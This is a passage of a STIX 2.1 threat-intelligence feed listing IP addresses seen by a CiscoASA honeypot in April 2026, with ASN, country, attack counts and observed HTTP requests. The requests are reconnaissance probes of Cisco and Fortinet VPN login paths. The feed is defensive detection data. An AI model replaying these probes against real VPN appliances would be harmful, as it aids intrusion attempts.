      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--4ca6988e-0aa9-4028-941b-df453d6d0dc3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:20:10.000Z",
      "valid_until": "2026-05-31T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-13T14:36:21.905Z",
          "last_seen": "2026-04-29T19:44:37.516Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: BR; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--028cda3d-e382-406c-b87d-9e8ee0e494a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.199.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:20:10.000Z",
      "valid_until": "2026-05-31T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-29T19:43:25.962Z",
          "last_seen": "2026-04-29T19:44:18.612Z",
          "country": "Brazil",
          "country_code": "BR",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: DE; ASN 44066 (firstcolo GmbH)",
      "id": "indicator--e8e79fa0-b8d9-4709-b32c-1eda812eed8d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '82.211.8.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T20:20:10.000Z",
      "valid_until": "2026-05-31T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-29T20:02:24.917Z",
          "last_seen": "2026-04-29T20:02:25.666Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 44066,
          "as_org": "firstcolo GmbH",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T23:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--2996d385-d8c9-4bfc-a5d4-409240841e60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:20:18.000Z",
      "valid_until": "2026-05-31T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T22:55:25.618Z",
          "last_seen": "2026-04-30T04:28:07.008Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-29T23:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--fdbc00f7-7c1b-46ce-bdc0-fc0ec5fcc9ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-29T23:20:18.000Z",
      "valid_until": "2026-05-31T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-29T22:35:57.914Z",
          "last_seen": "2026-04-29T22:46:15.139Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--bebd3ec3-f076-4ba4-916c-605bdf3eed77",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-30T00:32:02.755Z",
          "last_seen": "2026-04-30T00:32:14.433Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--0c013b8d-6f31-4c65-91a8-b11d529a4399",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.90.4.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T00:59:07.086Z",
          "last_seen": "2026-04-30T00:59:07.086Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--af3c811d-3274-44cc-b953-b2f891f5b987",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.205.241.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T00:59:06.169Z",
          "last_seen": "2026-04-30T00:59:06.169Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c0158a08-2f90-44bc-8280-bff261b999f3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T00:35:41.979Z",
          "last_seen": "2026-04-30T00:35:41.979Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e98711eb-ad08-4e3b-a2d2-96696d1681f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T00:37:32.744Z",
          "last_seen": "2026-04-30T00:37:32.744Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-30T00:33:45.537Z",
          "last_seen": "2026-04-30T00:38:23.158Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--8476e3fe-af28-46cd-a1fb-84f1a0ddf90a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T00:38:01.908Z",
          "last_seen": "2026-04-30T00:38:01.908Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3146b924-d579-43f5-99c6-966c5e418360",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-30T00:37:44.357Z",
          "last_seen": "2026-04-30T00:37:52.342Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f07854da-10ee-4f9e-834e-e1ea1cc78d92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T00:37:38.204Z",
          "last_seen": "2026-04-30T00:37:38.204Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d7c46fa1-d23e-4e4f-ba7e-894b889f57c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T00:37:41.302Z",
          "last_seen": "2026-04-30T00:37:41.302Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--3e257495-b689-400d-8ca7-b07930c4bcb8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T01:20:10.000Z",
      "valid_until": "2026-06-01T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-30T00:34:26.068Z",
          "last_seen": "2026-04-30T00:34:26.068Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--3447c1e7-8680-43ed-8ba8-fe487aebaf37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T02:20:10.000Z",
      "valid_until": "2026-06-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-30T01:53:43.397Z",
          "last_seen": "2026-04-30T01:53:46.401Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 264850 (TODAS LAS REDES SA)",
      "id": "indicator--7445c675-2ebf-4d6c-a3b6-07c551125e33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '200.10.34.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T02:20:10.000Z",
      "valid_until": "2026-06-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-30T01:34:27.891Z",
          "last_seen": "2026-04-30T01:34:28.523Z",
          "country": "United States",
          "country_code": "US",
          "asn": 264850,
          "as_org": "TODAS LAS REDES SA",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--79f80971-1785-4533-b212-d048ac9a904c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T02:20:10.000Z",
      "valid_until": "2026-06-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-30T02:08:58.120Z",
          "last_seen": "2026-04-30T02:09:09.603Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--bc2688e9-d246-4a70-9ee5-c4e5f20ff156",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T02:20:10.000Z",
      "valid_until": "2026-06-01T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-30T01:54:35.637Z",
          "last_seen": "2026-04-30T01:55:47.773Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-30T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7e68bb24-57f8-4f3a-8397-fa5c3601da2e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T04:20:10.000Z",
      "valid_until": "2026-06-01T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
